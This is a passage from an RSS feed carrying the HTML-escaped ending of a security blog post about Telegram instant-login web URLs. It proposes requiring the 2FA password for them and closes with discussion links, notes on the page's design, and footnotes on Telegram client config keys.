1.6c2.6 0.9 5.3 0.8 7.6-0.6z&#34;/&gt;&#xD;&#xA;&lt;/svg&gt;&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Log in to Telegram by QR Code&lt;/p&gt;&#xD;&#xA;&lt;ol&gt;&lt;li&gt;&lt;span&gt;Open Telegram on your phone&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Go to Settings &amp;gt; Devices &amp;gt; Link Desktop Device&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Point your phone at this screen to confirm login&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The same thing they did with the QR code logins! If you attempt to log onto a new device by scanning a login QR code, you&amp;rsquo;ll still have to enter your 2FA password - and I think the same mitigation could be implemented for these instant login web client URLs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Discuss this post on:&lt;/strong&gt; &lt;a href=&#34;https://twitter.com/rebane2001/status/1785779094656868406&#34;&gt;twitter&lt;/a&gt;, &lt;a href=&#34;https://infosec.exchange/@rebane2001/112367887114044823&#34;&gt;mastodon&lt;/a&gt;, &lt;a href=&#34;https://news.ycombinator.com/item?id=40229482&#34;&gt;hackernews&lt;/a&gt;, &lt;a href=&#34;https://cohost.org/rebane2001/post/5798626-i-just-made-a-new-bl&#34;&gt;cohost&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;thank you for reading my first blog post!!&lt;/p&gt;&#xA;&lt;p&gt;i decided to take on the challenge of using no images on the page, and no javascript either. i don&amp;rsquo;t think this&amp;rsquo;ll be a sustainable way of doing things going forward, but it does mean you get fast load times (everything here is ~20kB gzipped!), pretty vector graphics on hidpi screens (try zooming in!), and responsive &amp;ldquo;screenshots&amp;rdquo; for mobile devices (try resizing the window and see how neatly things change to accommodate!). also if you&amp;rsquo;re someone using assistive technologies, please let me know how this post felt to read and if there&amp;rsquo;s anything to be improved or done differently in the future.&lt;/p&gt;&#xA;&lt;p&gt;note: the graphics in this blog post are not fully compatible with &lt;a href=&#34;https://en.wikipedia.org/wiki/Netscape_Navigator&#34;&gt;netscape navigator&lt;/a&gt;, please switch to a modern alternative such as &lt;a href=&#34;https://ladybird.dev/&#34;&gt;ladybird&lt;/a&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/telegramdesktop/tdesktop&#34;&gt;tdesktop&lt;/a&gt; is the official cross-platform desktop client (Telegram Lite on macOS)&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;&lt;code&gt;url_auth_domains&lt;/code&gt; is a list of domains used for logging into the web clients, but there is another list under the &lt;code&gt;autologin_domains&lt;/code&gt; key, which is used for webapps such as &lt;a href=&#34;https://bugs.telegram.org&#34;&gt;bugs.telegram.org&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;There are also &lt;code&gt;peer&lt;/code&gt;, &lt;code&gt;msg_id&lt;/code&gt;, and &lt;code&gt;button_id&lt;/code&gt; fields, but if we set our &lt;code&gt;flag&lt;/code&gt; to &lt;code&gt;f_url&lt;/code&gt; (4) we skip them.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</description>
    </item>
  </channel>
</rss>